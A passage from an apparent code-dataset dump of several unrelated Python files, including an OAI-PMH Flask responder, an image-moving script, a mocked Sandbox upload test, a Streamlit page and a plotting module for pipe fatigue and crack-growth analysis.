app.config['base_url'] )\n TextSubElement( resp, 'protocolVersion', repo.protocol_version )\n for ae in repo.admin_email:\n TextSubElement( resp, 'adminEmail', ae )\n TextSubElement( resp, 'earliestDatestamp', repo.earliest_datestamp )\n TextSubElement( resp, 'deletedRecord', repo.deleted_record )\n TextSubElement( resp, 'granularity', repo.granularity )\n return self.make_xml_response()\n\n def get_record(self, identifier, metadataPrefix):\n \"\"\"Mage GetRecord response.\n\n http://www.openarchives.org/OAI/openarchivesprotocol.html#GetRecord\n \"\"\"\n repo = self.repo\n record = repo.select_record( identifier, metadataPrefix )\n self.base_tree( verb='GetRecord' )\n resp = SubElement( self.root, 'GetRecord' )\n self.add_header( resp, record )\n self.add_metadata( resp, record )\n return self.make_xml_response()\n\n def list_either(self, include_records=True, resumptionToken=None, **select_args):\n \"\"\"Make ListRecords or ListIdentifiers response.\"\"\"\n repo = self.repo\n if (resumptionToken is not None):\n raise BadResumptionToken() # don't support yet\n else:\n records = repo.select_records(**select_args)\n self.base_tree( verb='ListIdentifiers' )\n resp = SubElement( self.root, 'ListIdentifiers' )\n for record in records:\n self.add_header( resp, record )\n if (include_records):\n self.add_metadata( resp, record )\n return self.make_xml_response()\n\n def list_metadata_formats(self, identifier=None):\n \"\"\"Make ListMetadataFormats response.\n\n https://www.openarchives.org/OAI/openarchivesprotocol.html#ListMetadataFormats\n \"\"\"\n repo = self.repo\n if (identifier is not None):\n metadata_formats = repo.select_item( identifier ).metadata_formats()\n else:\n metadata_formats = repo.metadata_formats()\n self.base_tree( verb='ListMetadataFormats' )\n resp = SubElement( self.root, 'ListMetadataFormats' )\n for m in metadata_formats:\n mf = SubElement( resp, 'metadataFormat' )\n TextSubElement( mf, 'metadataPrefix', m )\n # FIXME - add other data\n return self.make_xml_response()\n\n def list_sets(self):\n \"\"\"Make ListSets response.\n\n https://www.openarchives.org/OAI/openarchivesprotocol.html#ListSets\n\n Technically, this request can have a resumptionToken but this\n is not implemented here.\n \"\"\"\n repo = self.repo\n self.base_tree(verb='ListSets' )\n resp = SubElement( self.root, 'ListSets' )\n for set_spec in repo.set_specs():\n set_element = SubElement( resp, 'set' )\n TextSubElement( set_element, 'setSpec', set_spec )\n (name, description) = repo.set_name_description(set_spec)\n if (name is not None):\n TextSubElement( set_element, 'setName', name )\n if (description is not None):\n # Description is XML, add placeholder and sub later\n TextSubElement( set_element, 'setDescription',\n self.sub(description) )\n return self.make_xml_response()\n\n def check_args(self, verb, arguments, optional=None, required=None, exclusive=None):\n \"\"\"Check that only arguments allowed are not others are present.\n\n Will raise BadArgument exception if errors present.\n \"\"\"\n optional = [] if optional is None else optional\n required = [] if required is None else required\n # Check exclusive first, if there is an exclusive argument\n # allowed and it is present, then there must not be any others\n if (exclusive is not None and exclusive in arguments):\n if (len(arguments)>1):\n raise BadArgument(\"Exclusive argument (%s) present in addition to other arguments (%s) in %s request\" % (exclusive,','.join(sorted(arguments.keys())),verb))\n else:\n return # done, just the exclusive argument\n # Now check nothing except option amd required args\n allowed = optional+required\n bad = set()\n for arg in arguments:\n if (arg not in allowed):\n bad.add(arg)\n if (len(bad)>0):\n raise BadArgument(\"Illegal arguments (%s) in %s request\" % (','.join(sorted(bad)),verb))\n # Now check all required args present\n missing = set()\n for arg in required:\n if (arg not in arguments):\n missing.add(arg)\n if (len(missing)>0):\n raise BadArgument(\"Arguments (%s) required but missing in %s request\" % (','.join(sorted(missing)),verb))\n\n def error(self, e, verb ):\n \"\"\"Generate OAI-PMH XML error response for exception e.\"\"\"\n self.base_tree( verb=verb )\n err = SubElement( self.root, 'error', {'code': e.code} )\n err.text = str(e)\n return self.make_xml_response()\n\n","repo_name":"zimeon/oaipmh-simulator","sub_path":"oaipmh_simulator/flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":12374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8475781851","text":"import sys \nimport os\n#sourcefolder = sys.argv[1]\nsourcefolder = '/home/student/Pythonsem1/PROJECT/test directory'\n#The Exif give several information about a pucture. Many of them are not usefull for our programme. We neet just the date. The date is in the biblio tags \nfrom PIL import Image\nfrom PIL import ExifTags\npath=sourcefolder\ncontent = []\nimages = []\nprint(\"All the files ending by '.jpg' in the directory and they subdirectories : \" '\\n')\n# r corresponds to root ; d to directory and f to folder\nfor r, d, f in os.walk(path):\n for file in f:\n if '.jpg' in file:\n images.append(os.path.join( r,file)) #very helpfull in the folowing lines\nfor f in images:\n print(f)\n\nimport pprint\nfrom PIL import Image\nfrom PIL.ExifTags import TAGS\n \ndef get_exif(fn):\n ret = {}\n i = Image.open(fn)\n info = i._getexif()\n for tag, value in info.items():\n decoded = TAGS.get(tag,tag)\n ret[decoded] = value\n return ret\nfn = '/home/student/Pythonsem1/PROJECT/Tidyimage/tidyImages/Sony_HDR-HC3.jpg'\nprint('\\n')\n#pprint.pprint(get_exif(fn)) #inutile \n\nimport shutil \n\nprint(\"We are moving theses files from\",sourcefolder )\n#targetfolder = sys.argv[2]\ntargetfolder = '/home/student/Pythonsem1/PROJECT/test moving'\nprint(\"to the new directory : \",targetfolder)\nfor f in images :\n\tshutil.move(f,targetfolder)\nprint('the files has been succesfuly moved ')\n\t\t\n\n\n\n","repo_name":"Saleem146/Projet-Mag-1","sub_path":"tidyimage.py","file_name":"tidyimage.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29228712127","text":"import asyncio\nimport hashlib\nimport json\nimport os\nimport pytest\nimport responses\nfrom unittest.mock import Mock\nfrom pyfakefs.fake_filesystem_unittest import Patcher\n\nfrom maps_adv.common.third_party_clients.juggler import JugglerClient\nfrom maps_adv.export.lib.core.client.sandbox import (\n SandboxClient,\n SandboxClientException,\n)\n\n\n@pytest.fixture\ndef attrs():\n return {\n \"key1\": \"value1\",\n \"key2\": \"value2\",\n }\n\n\ndef coro_mock():\n coro = Mock(name=\"CoroutineResult\")\n corofunc = Mock(name=\"CoroutineFunction\", side_effect=asyncio.coroutine(coro))\n corofunc.coro = coro\n return corofunc\n\n\n@pytest.fixture\nasync def mock_juggler_client(mocker):\n return mocker.patch(\n \"maps_adv.common.third_party_clients.juggler.JugglerClient._request\",\n new_callable=coro_mock,\n ).coro\n\n\n@responses.activate\ndef test_success(config, tmp_path, attrs, mock_juggler_client):\n # Fix for pytest 7 update.\n # Pytest try to access disk betwen fixture call and run test via Path objects\n # So replace fs fixture from pyfakefs with direct call Patcher\n # See https://github.com/jmcgeheeiv/pyfakefs/issues/666\n with Patcher() as pather:\n fs = pather.fs\n fs.create_file(os.path.join(tmp_path, config.FILENAME_XML), contents=\"payload\")\n responses.add(\n responses.POST,\n \"https://example.com/api/v1.0/task\",\n json=dict(id=0),\n status=200,\n )\n responses.add(\n responses.PUT,\n \"https://example.com/api/v1.0/batch/tasks/start\",\n json=[dict(status=\"SUCCESS\")],\n status=200,\n )\n responses.add(\n responses.GET,\n \"https://example.com/api/v1.0/task/0\",\n json=dict(\n status=\"PREPARING\",\n output_parameters=dict(resource=1),\n ),\n status=200,\n )\n responses.add(\n responses.HEAD,\n \"https://example.com/upload/0\",\n body=\"\",\n status=200,\n )\n\n sha1 = hashlib.sha1()\n\n def consume_body(req):\n nonlocal sha1\n # last chunk contains sha1 of the client, we ignore it\n prev = next(req.body, None)\n while prev:\n chunk = next(req.body, None)\n if chunk:\n sha1.update(prev)\n prev = chunk\n return True, \"\"\n\n responses.add(\n responses.PUT,\n \"https://example.com/upload/0\",\n body=\"size\",\n status=200,\n match=[consume_body],\n )\n responses.add(\n responses.GET,\n \"https://example.com/api/v1.0/task/0\",\n json=dict(status=\"SUCCESS\"),\n status=200,\n )\n responses.add_callback(\n responses.GET,\n \"https://example.com/api/v1.0/task/0/context\",\n callback=lambda request: (\n 200,\n {},\n json.dumps(\n dict(upload=dict(received=10240, checksum=sha1.hexdigest()))\n ),\n ),\n )\n responses.add(\n responses.GET,\n \"https://example.com/api/v1.0/resource/1\",\n json=dict(\n skynet_id=0,\n md5=\"\",\n http=dict(proxy=\"bla\"),\n ),\n status=200,\n )\n mock_juggler_client.return_value = {\"success\": True, \"events\": [{\"code\": 200}]}\n asyncio.run(\n SandboxClient(\n config,\n attrs,\n tmp_path,\n JugglerClient(config.JUGGLER_EVENTS_URL, config.NANNY_SERVICE_ID),\n ).upload()\n )\n\n\n@responses.activate\ndef test_failure(config, tmp_path, attrs):\n with pytest.raises(SandboxClientException) as exc_info:\n asyncio.run(\n SandboxClient(\n config,\n attrs,\n tmp_path,\n JugglerClient(config.JUGGLER_EVENTS_URL, config.NANNY_SERVICE_ID),\n ).upload()\n )\n\n assert not exc_info.value.args\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/core/client/test_sandbox.py","file_name":"test_sandbox.py","file_ext":"py","file_size_in_byte":4158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15961102198","text":"from Solution import Solution\n\ndef main():\n\n testStrings = [\"eat\",\"tea\",\"tan\",\"ate\",\"nat\",\"bat\"]\n # Output: [[\"bat\"],[\"nat\",\"tan\"],[\"ate\",\"eat\",\"tea\"]]\n\n #testStrings = [\"\"]\n # Output: [[\"\"]]\n\n #testStrings = [\"a\"]\n # Output: [[\"a\"]]\n\n # instantiate Solution class\n solution = Solution()\n\n answer = solution.groupAnagrams(testStrings)\n\n print(f\"Grouped anagrams: {answer}\")\n\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"tkinneen/leetcodeProblems","sub_path":"Problem_049_Group_Anagrams/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"75216505362","text":"import streamlit as st\nfrom PIL import Image\n\n\nst.set_page_config(\n page_title=\"Just Testing\",\n page_icon=\"🧊\",\n layout=\"wide\",\n initial_sidebar_state=\"expanded\",\n menu_items={\n 'Get Help': 'https://www.extremelycoolapp.com/help',\n 'Report a bug': \"https://www.extremelycoolapp.com/bug\",\n 'About': \"# This is a header. This is an *extremely* cool app!\"\n }\n)\n\n#hide_st_style = \"\"\"\n # \n # \"\"\"\n#st.markdown(hide_st_style, unsafe_allow_html=True)\n\n\n\nst.title('Generate random name for your pet :dog:')\nst.caption('Hope it works!')\n\nst.sidebar.title('Check my other apps')\nlink = '[*GitHub*](http://github.com/diegooviedo3004)'\nst.sidebar.markdown(link, unsafe_allow_html=True)\n\n\nst.button('Generate')","repo_name":"diegooviedo3004/streamlib","sub_path":"page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6776925717","text":"import os\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom helpr.utilities import unit_conversion\nfrom .. import settings\n\n\"\"\"Module to hold plot generation functionality. \"\"\"\n\n\ndef get_time_str():\n return datetime.now().strftime('%y%m%d-%H%M%S%m')\n\n\ndef generate_pipe_life_assessment_plot(life_assessment,\n life_criteria,\n pipe_name=\"\",\n save_fig=False):\n \"\"\"Generates deterministic plot life assessment plot.\n\n Parameters\n -------------\n life_assessment : dict or DataFrame\n Single pipe life assessment results.\n life_criteria : dict or DataFrame\n Life criteria results. \n pipe_name : str, optional\n Name of pipe to specify as title, defaults to no title.\n save_fig : bool, optional\n Flag to save plot to a png file.\n\n \"\"\"\n _, axis = plt.subplots(figsize=(5, 5))\n life_assessment.plot(x='Total cycles', y='a/t', ax=axis)\n plt.gca().get_legend().remove()\n plt.plot(life_criteria['Cycles to a(crit)']['Total cycles'],\n life_criteria['Cycles to a(crit)']['a/t'],\n 'k*', label='Cycles to a(crit)')\n plt.plot(life_criteria['Cycles to 25% a(crit)']['Total cycles'],\n life_criteria['Cycles to 25% a(crit)']['a/t'],\n 'ro', label='Cycles at 25% a(crit)')\n plt.plot(life_criteria['Cycles to 1/2 Nc']['Total cycles'],\n life_criteria['Cycles to 1/2 Nc']['a/t'],\n 'bs', label='Half of a(crit) Cycles')\n plt.ylabel('a/t')\n plt.xlabel('Total Cycles')\n plt.legend()\n plt.locator_params(axis='x', nbins=6)\n axis.set_ylim(0, 0.8)\n plt.grid(alpha=0.3)\n\n if pipe_name:\n title = f'{pipe_name:s}'\n plt.title(title)\n\n if save_fig:\n pipe_name = pipe_name.replace(' ', '_') if pipe_name else \"pipe_\"\n filename = pipe_name.replace(' ', '_') + f'_lifeassessment_{get_time_str()}.png'\n filepath = os.path.join(settings.OUTPUT_DIR, filename)\n plt.savefig(filepath, format='png', dpi=300, bbox_inches='tight')\n plt.close()\n return filepath\n\n\ndef plot_pipe_life_ensemble(life_assessment,\n criteria='Cycles to a(crit)',\n save_fig=False):\n \"\"\"Creates plot of ensemble pipe life assessment results.\n\n Parameters\n -------------\n life_assessment : CrackEvolutionAnalysis\n Ensemble life assessment results.\n life_criteria : dict\n Life criteria results. \n save_fig : bool, optional\n Flag to save plot to a png file.\n\n \"\"\"\n _, axis = plt.subplots(figsize=(4, 4))\n plt.plot([], [], 'k*', label=criteria)\n total_cycles = life_assessment.load_cycling['Total cycles']\n a_over_t = life_assessment.load_cycling['a/t']\n plt.plot(total_cycles, a_over_t, alpha=0.3)\n\n plt.plot(life_assessment.life_criteria[criteria][0],\n life_assessment.life_criteria[criteria][1],\n 'k*')\n\n plt.xlabel('Total Cycles')\n plt.ylabel('a/t')\n plt.legend(loc=0)\n plt.xscale('log')\n axis.set_ylim(0, 0.8)\n plt.grid(alpha=0.3)\n\n if save_fig:\n filename = f'prob_crack_evolution_ensemble_{get_time_str()}.png'\n filepath = os.path.join(settings.OUTPUT_DIR, filename)\n plt.savefig(filepath, format='png', dpi=300, bbox_inches='tight')\n plt.close()\n return filepath\n\n\ndef generate_crack_growth_rate_plot(life_assessment, save_fig=False):\n \"\"\"Creates a crack growth rate plot.\n\n Parameters\n -------------\n life_assessment : dict or DataFrame\n Single life assessment results.\n save_fig : bool, optional\n Flag to save plot to a png file.\n \"\"\"\n plt.subplots(figsize=(5, 5))\n da_over_dn = life_assessment['Delta a (m)']/life_assessment['Delta N']\n plt.plot(life_assessment['Delta K (Mpa m^1/2)'], da_over_dn, 'ko')\n plt.ylabel('da/dN (m/cycles)')\n plt.xlabel(r'$\\Delta K$ (Mpa m$^{1/2}$)')\n plt.yscale('log')\n plt.xscale('log')\n plt.grid(alpha=0.3)\n\n if save_fig:\n filename = f\"crack_growth_rate_{get_time_str()}.png\"\n filepath = os.path.join(settings.OUTPUT_DIR, filename)\n plt.savefig(filepath, format='png', dpi=300, bbox_inches='tight')\n return filepath\n\n\ndef ecdf(sample):\n \"\"\"Calculates empirical distribution function for dataset. \n\n Parameters\n ------------\n sample\n samples to be represented as an empirical cdf\n\n \"\"\"\n quantiles = np.sort(sample)\n cumprob = np.linspace(0, 1, len(sample), endpoint=False)\n return cumprob, quantiles\n\n\ndef plot_cycle_life_cdfs(analysis_results,\n criteria='Cycles to a(crit)',\n save_fig=False):\n \"\"\"Creates a plot with cdfs of analysis results.\n\n Parameters\n -------------\n analysis_results : CrackEvolutionAnalysis\n Ensemble life assessment results.\n criteria: str\n Life criteria to plot, defaults to 'Cycles to a (crit)'.\n save_fig : bool, optional\n Flag to save plot to a png file.\n\n \"\"\"\n cycle_life_data = analysis_results.life_criteria[criteria][0]\n number_of_aleatory_samples = analysis_results.number_of_aleatory_samples\n plt.figure(figsize=(4, 4))\n for i in range(max(analysis_results.number_of_epistemic_samples, 1)):\n sample_indices = slice(i*number_of_aleatory_samples, (i+1)*number_of_aleatory_samples)\n cycle_life_data_subset = cycle_life_data[sample_indices]\n y_ordinate, x_ordinate = ecdf(cycle_life_data_subset)\n plt.plot(x_ordinate, y_ordinate)\n\n plt.plot([analysis_results.nominal_life_criteria[criteria][0]]*2,\n [0, 1], 'r--', label='nominal')\n plt.legend(loc=0)\n plt.xlabel(criteria)\n plt.ylabel('Cumulative Probability')\n plt.xscale('log')\n plt.grid(color='gray', alpha=0.3)\n\n if save_fig:\n filename = f\"prob_critical_crack_cdf_{get_time_str()}.png\"\n filepath = os.path.join(settings.OUTPUT_DIR, filename)\n plt.savefig(filepath, format='png', dpi=300, bbox_inches='tight')\n return filepath\n\n\ndef plot_cycle_life_cdf_ci(analysis_results,\n criteria='Cycles to a(crit)'):\n \"\"\"Creates a plot of confidence intervals around cdfs of analysis results.\n\n Parameters\n -------------\n analysis_results : CrackEvolutionAnalysis\n Ensemble life assessment results.\n criteria: str\n Life criteria to plot, defaults to 'Cycles to a (crit)'.\n\n \"\"\"\n cdf_curves = np.empty(shape=(max(analysis_results.number_of_aleatory_samples, 1),\n max(analysis_results.number_of_epistemic_samples, 1)))\n cycle_life_data = analysis_results.life_criteria[criteria][0]\n number_of_aleatory_samples = analysis_results.number_of_aleatory_samples\n plt.figure(figsize=(4, 4))\n for i in range(max(analysis_results.number_of_epistemic_samples, 1)):\n sample_indices = slice(i*number_of_aleatory_samples, (i+1)*number_of_aleatory_samples)\n cycle_life_data_subset = cycle_life_data[sample_indices]\n y_ordinate, x_ordinate = ecdf(cycle_life_data_subset)\n cdf_curves[:, i] = x_ordinate\n\n plt.plot(cdf_curves.mean(axis=1), y_ordinate, 'k-')\n plt.fill_betweenx(y_ordinate,\n np.quantile(cdf_curves, 0.95, axis=1),\n np.quantile(cdf_curves, 0.05, axis=1),\n alpha=0.5)\n plt.xlabel(criteria)\n plt.ylabel('Cumulative Probability')\n plt.xscale('log')\n plt.grid(color='gray', alpha=0.3)\n plt.legend(['mean', '5/95 percentiles'], loc=0)\n\n\ndef plot_cycle_life_pdfs(analysis_results,\n criteria='Cycles to a(crit)',\n save_fig=False):\n \"\"\"Creates pdfs of life cycle analysis results.\n\n Parameters\n -------------\n analysis_results : CrackEvolutionAnalysis\n Ensemble life assessment results.\n criteria: str\n Life criteria to plot, defaults to 'Cycles to a (crit)'.\n save_fig : bool, optional\n Flag to save plot to a png file.\n\n \"\"\"\n cycle_life_data = analysis_results.life_criteria[criteria][0]\n number_of_aleatory_samples = analysis_results.number_of_aleatory_samples\n _, ax = plt.subplots(figsize=(4, 4))\n for i in range(max(analysis_results.number_of_epistemic_samples, 1)):\n sample_indices = slice(i*number_of_aleatory_samples, (i+1)*number_of_aleatory_samples)\n cycle_life_data_subset = cycle_life_data[sample_indices]\n\n if cycle_life_data_subset.max() > 1:\n non_unity_data = np.log10(cycle_life_data_subset[cycle_life_data_subset > 1])\n plt.hist(x=non_unity_data, bins='auto', histtype='step', density=False)\n\n plt.plot([np.log10(analysis_results.nominal_life_criteria[criteria][0])]*2,\n plt.gca().get_ylim(), 'r--', label='nominal')\n\n # ax.xaxis.set_major_locator(MaxNLocator(integer=True))\n plt.locator_params(axis='x', nbins=6)\n labels = [fr'10$^{{{item.get_text()}}}$' for item in ax.get_xticklabels()]\n ax.set_xticklabels(labels)\n plt.legend(loc=0)\n plt.xlabel(criteria)\n plt.ylabel('Frequency')\n plt.grid(color='gray', alpha=0.3)\n\n if save_fig:\n filename = f\"prob_critical_crack_pdf_{get_time_str()}.png\"\n filepath = os.path.join(settings.OUTPUT_DIR, filename)\n plt.savefig(filepath, format='png', dpi=300, bbox_inches='tight')\n return filepath\n\n\ndef plot_cycle_life_criteria_scatter(analysis_results,\n criteria='Cycles to a(crit)',\n color_by_variable=False,\n save_fig=False):\n \"\"\"\n Creates scatter plots of cycle life QOI results.\n If save_fig is True, will return filepath str (if not color_by_variable) \n or list of filepaths if colored by variable.\n\n Parameters\n -------------\n analysis_results : CrackEvolutionAnalysis\n Ensemble life assessment results.\n criteria: str, optional\n Life criteria to plot, defaults to 'Cycles to a (crit)'.\n color_by_variable : bool, optional\n Flag to change colors by variable.\n save_fig : bool, optional\n Flag to save plot to a png file.\n\n \"\"\"\n cycle_life_cycles = analysis_results.life_criteria[criteria][0]\n cycle_life_values = analysis_results.life_criteria[criteria][1]\n number_of_aleatory_samples = analysis_results.number_of_aleatory_samples\n\n if color_by_variable:\n for uncertain_variable in analysis_results.uncertain_parameters:\n plt.figure(figsize=(4, 4))\n color = analysis_results.sampling_input_parameter_values[uncertain_variable]\n scatter_plot = plt.scatter(x=cycle_life_cycles,\n y=cycle_life_values,\n s=5, c=color, cmap='viridis')\n color_bar = plt.colorbar(scatter_plot)\n\n parameter_units = unit_conversion.get_variable_units(uncertain_variable)\n color_bar_label = \\\n uncertain_variable.replace('_', ' ').replace('h2', r'$H_2$') + parameter_units\n\n color_bar.set_label(color_bar_label)\n nominal_cycle_life_cycles = analysis_results.nominal_life_criteria[criteria][0]\n nominal_cycle_life_values = analysis_results.nominal_life_criteria[criteria][1]\n plt.plot(nominal_cycle_life_cycles, nominal_cycle_life_values,\n marker='*', linestyle='',\n label='nominal', color='r', zorder=2)\n\n plt.legend(loc=0)\n plt.xlabel(criteria)\n plt.ylabel('a(crit)/t')\n plt.xscale('log')\n plt.grid(color='gray', alpha=0.3)\n\n if save_fig:\n figs = list(map(plt.figure, plt.get_fignums()))\n filepath1 = os.path.join(settings.OUTPUT_DIR, \n f\"prob_critical_crack_scatter_colorbyvariable1_{get_time_str()}.png\")\n figs[2].savefig(filepath1, format='png', dpi=300, bbox_inches='tight')\n\n filepath2 = os.path.join(settings.OUTPUT_DIR,\n f\"prob_critical_crack_scatter_colorbyvariable2_{get_time_str()}.png\")\n figs[3].savefig(filepath2, format='png', dpi=300, bbox_inches='tight')\n\n filepath3 = os.path.join(settings.OUTPUT_DIR,\n f\"prob_critical_crack_scatter_colorbyvariable3_{get_time_str()}.png\")\n figs[5].savefig(filepath3, format='png', dpi=300, bbox_inches='tight')\n return [filepath1, filepath2, filepath3]\n\n else:\n plt.figure(figsize=(4, 4))\n for i in range(max(analysis_results.number_of_epistemic_samples, 1)):\n sample_indices = slice(i*number_of_aleatory_samples, (i+1)*number_of_aleatory_samples)\n cycle_life_cycles_subset = cycle_life_cycles[sample_indices]\n cycle_life_values_subset = cycle_life_values[sample_indices]\n plt.scatter(cycle_life_cycles_subset, cycle_life_values_subset, s=5)\n\n nominal_cycle_life_cycles = analysis_results.nominal_life_criteria[criteria][0]\n nominal_cycle_life_values = analysis_results.nominal_life_criteria[criteria][1]\n plt.plot(nominal_cycle_life_cycles,\n nominal_cycle_life_values,\n marker='*',\n linestyle='',\n label='nominal',\n color='r',\n zorder=2)\n\n plt.legend(loc=0)\n plt.xlabel(criteria)\n plt.ylabel('a(crit)/t')\n plt.xscale('log')\n plt.grid(color='gray', alpha=0.3)\n\n if save_fig:\n filename = f\"prob_critical_crack_scatter_{get_time_str()}.png\"\n filepath = os.path.join(settings.OUTPUT_DIR, filename)\n plt.savefig(filepath, format='png', dpi=300, bbox_inches='tight')\n return filepath\n\n\ndef plot_sensitivity_results(analysis_results, criteria='Cycles to a(crit)', save_fig=False):\n \"\"\"Creates a plot of sensitivity results.\n\n Parameters\n -----------\n analysis_results : CrackEvolutionAnalysis\n Ensemble life assessment results.\n criteria: str, optional\n Life criteria to plot, defaults to 'Cycles to a (crit)'.\n save_fig : bool, optional\n Flag to save plot to a png file.\n\n \"\"\"\n cycle_life_data = analysis_results.life_criteria[criteria][0]\n plt.figure(figsize=(4, 4))\n for uncertain_variable in analysis_results.uncertain_parameters:\n samples = analysis_results.sampling_input_parameter_values[uncertain_variable]\n nominal_sample = analysis_results.nominal_input_parameter_values[uncertain_variable]\n nominal_result = analysis_results.nominal_life_criteria[criteria][0]\n parameter_specific_samples = samples[samples != nominal_sample]\n corresponding_outputs = cycle_life_data[samples != nominal_sample]\n parameter_specific_samples = np.append(parameter_specific_samples,\n nominal_sample)\n parameter_specific_samples = np.sort(parameter_specific_samples)\n index = np.where(parameter_specific_samples == nominal_sample)[0][0]\n corresponding_outputs = np.insert(corresponding_outputs, index, nominal_result)\n\n plt.plot(corresponding_outputs,\n parameter_specific_samples/nominal_sample*100,\n label=uncertain_variable)\n\n legend = plt.legend(loc='upper left', bbox_to_anchor=(1.04, 1))\n for legend_entry in legend.get_texts():\n legend_entry.set_text(legend_entry.get_text().replace('_', ' ').replace('h2', r'H$_2$'))\n plt.ylabel('% of Nominal Value')\n plt.xlabel(criteria)\n plt.xscale('log')\n plt.grid(color='gray', alpha=0.3)\n\n if save_fig:\n filename = f\"sensitivity_{get_time_str()}.png\"\n filepath = os.path.join(settings.OUTPUT_DIR, filename)\n plt.savefig(filepath, format='png', dpi=300, bbox_inches='tight')\n return filepath\n\n\ndef plot_det_design_curve(dk, da_dn, save_fig=False):\n \"\"\"Creates a plot of design curve values exercised in an analysis.\n\n Parameters\n ------------\n dk : pandas.DataFrame\n Change in stress intensity factor.\n da_dn : pandas.DataFrame\n Change of crack size over change in cycles (da/dn).\n save_fig : bool, optional\n Flag to save plot to a png file.\n \n \"\"\"\n plt.plot(dk, da_dn, 'r--', zorder=2)\n plt.legend(['Exercised Rates', 'Design Curve'], loc=0)\n if save_fig:\n filename = f\"design_curve_{get_time_str()}.png\"\n filepath = os.path.join(settings.OUTPUT_DIR, filename)\n plt.savefig(filepath, format='png', dpi=300, bbox_inches='tight')\n return filepath\n\n\ndef plot_failure_assessment_diagram(life_assessment,\n nominal=False,\n save_fig=False):\n \"\"\"\n Creates a failure assessment diagram (FAD).\n\n\n Parameters\n ------------\n life_assessment : dict\n Single or Ensemble life assessment results.\n nominal : bool, optional\n Flag for nominal or probabilistic results.\n save_fig : bool, optional\n Flag to save plot to a png file.\n\n \"\"\"\n plt.figure(figsize=(4, 4))\n load_ordinate_space = np.linspace(0, 2.2)\n diagram_bound_line = failure_assessment_diagram_equation(load_ordinate_space)\n plt.plot(load_ordinate_space, diagram_bound_line, 'k-')\n\n if nominal:\n data_filter = filter_failure_assessment_data(nominal)\n plt.plot(nominal['Load ratio'][data_filter].head(1),\n nominal['Toughness ratio'][data_filter].head(1),\n 'r.', label='nominal', zorder=2)\n plt.legend()\n\n data_filter = filter_failure_assessment_data(life_assessment)\n plt.plot(life_assessment['Load ratio'][data_filter].head(1),\n life_assessment['Toughness ratio'][data_filter].head(1),\n 'b.', zorder=1)\n\n plt.xlabel(r'L$_r$ (load ratio)')\n plt.ylabel(r'K$_r$ (toughness ratio)')\n plt.grid(color='gray', alpha=0.3, linestyle='--')\n\n if save_fig:\n filename = f\"failure_assmt_{get_time_str()}.png\"\n filepath = os.path.join(settings.OUTPUT_DIR, filename)\n plt.savefig(filepath, format='png', dpi=300, bbox_inches='tight')\n return filepath\n\n\ndef filter_failure_assessment_data(data):\n \"\"\"Filters out data for failure assessment diagram. \"\"\"\n data_filter = (data['Load ratio'] < 2.2) & \\\n (data['Load ratio'] > 0) & \\\n (data['Toughness ratio'] < 1)\n return data_filter\n\n\ndef failure_assessment_diagram_equation(load_ratio):\n \"\"\"Calculates line from FAD equation. \"\"\"\n return (1 - 0.14*load_ratio**2)*(0.3 + 0.7*np.exp(-0.65*load_ratio**6))\n\n\ndef plot_unscaled_mitigation_cdf(analysis_results,\n mitigated,\n inspection_interval):\n \"\"\"Creates a plot of unscaled cdfs showing impact of inspection/mitigation.\n\n Parameters\n ----------\n analysis_results : dict\n Life criteria data from fatigue analysis.\n mitigated : list\n Indication of which cracks were mitigated through inspection.\n inspection_interval : float\n Frequency of inspections.\n\n \"\"\"\n cycle_life_data = analysis_results[0]/365\n inspection_interval = inspection_interval/365\n\n mitigated_life_data = cycle_life_data[mitigated]\n not_mitigated_life_data = cycle_life_data[np.invert(mitigated)]\n\n plt.figure(figsize=(4, 4))\n ax = plt.subplot()\n plt.plot(np.sort(cycle_life_data),\n np.arange(len(cycle_life_data)), label='w/o mitigation')\n plt.plot(np.sort(mitigated_life_data),\n np.arange(len(mitigated_life_data)), label='mitigated')\n plt.plot(np.sort(not_mitigated_life_data),\n np.arange(len(not_mitigated_life_data)), label='non mitigated')\n ax.axvline(x=inspection_interval,\n color='green',\n linestyle=':',\n label=f'{inspection_interval} year inspection freq.')\n\n plt.legend(loc='upper right', bbox_to_anchor=(1.7, 1.0))\n plt.xlabel('Years')\n plt.ylabel('Cumulative Failed Cracks')\n plt.xscale('log')\n plt.grid(color='gray', alpha=0.3)\n\n\ndef plot_log_hist(data, label, logbins=None):\n \"\"\"Create a log10-scale histogram of the given data. \n\n Parameters\n ----------\n data : np.ndarray\n Data to bin and plot.\n label : str\n Legend label for data.\n logbins : np.ndarray, optional\n Option to pass in log spaced bins if already computed.\n\n Returns\n -------\n logbins : np.array\n Bin locations in log10 spacing.\n \"\"\"\n if logbins is None:\n num_bins = int(np.sqrt(data.size))\n _, bins = np.histogram(data, bins=num_bins)\n logbins = np.logspace(np.log10(bins[0]), np.log10(bins[-1]), len(bins))\n\n plt.hist(x=data,\n bins=logbins,\n histtype='step',\n density=False,\n label=label)\n return logbins\n\n\ndef plot_mitigation_histograms(analysis_results,\n mitigated,\n inspection_interval):\n \"\"\"Create histogram plots showing cracks failing over time and the impact of inspection.\n\n Parameters\n ----------\n analysis_results : dict\n Life criteria data from fatigue analysis.\n mitigated : list\n Indication of which cracks were mitigated through inspection.\n inspection_interval : float\n Frequency of inspections.\n\n \"\"\"\n cycle_life_data = analysis_results[0]/365\n inspection_interval = inspection_interval/365\n\n mitigated_life_data = cycle_life_data[mitigated]\n # not_mitigated_life_data = cycle_life_data[np.invert(mitigated)]\n\n plt.figure(figsize=(4, 4))\n ax = plt.subplot()\n\n logbins = plot_log_hist(cycle_life_data, 'w/o mitigation')\n # plot_log_hist(not_mitigated_life_data, 'non-mitigated', logbins)\n plot_log_hist(mitigated_life_data, 'mitigated', logbins)\n ax.axvline(x=inspection_interval,\n color='green',\n 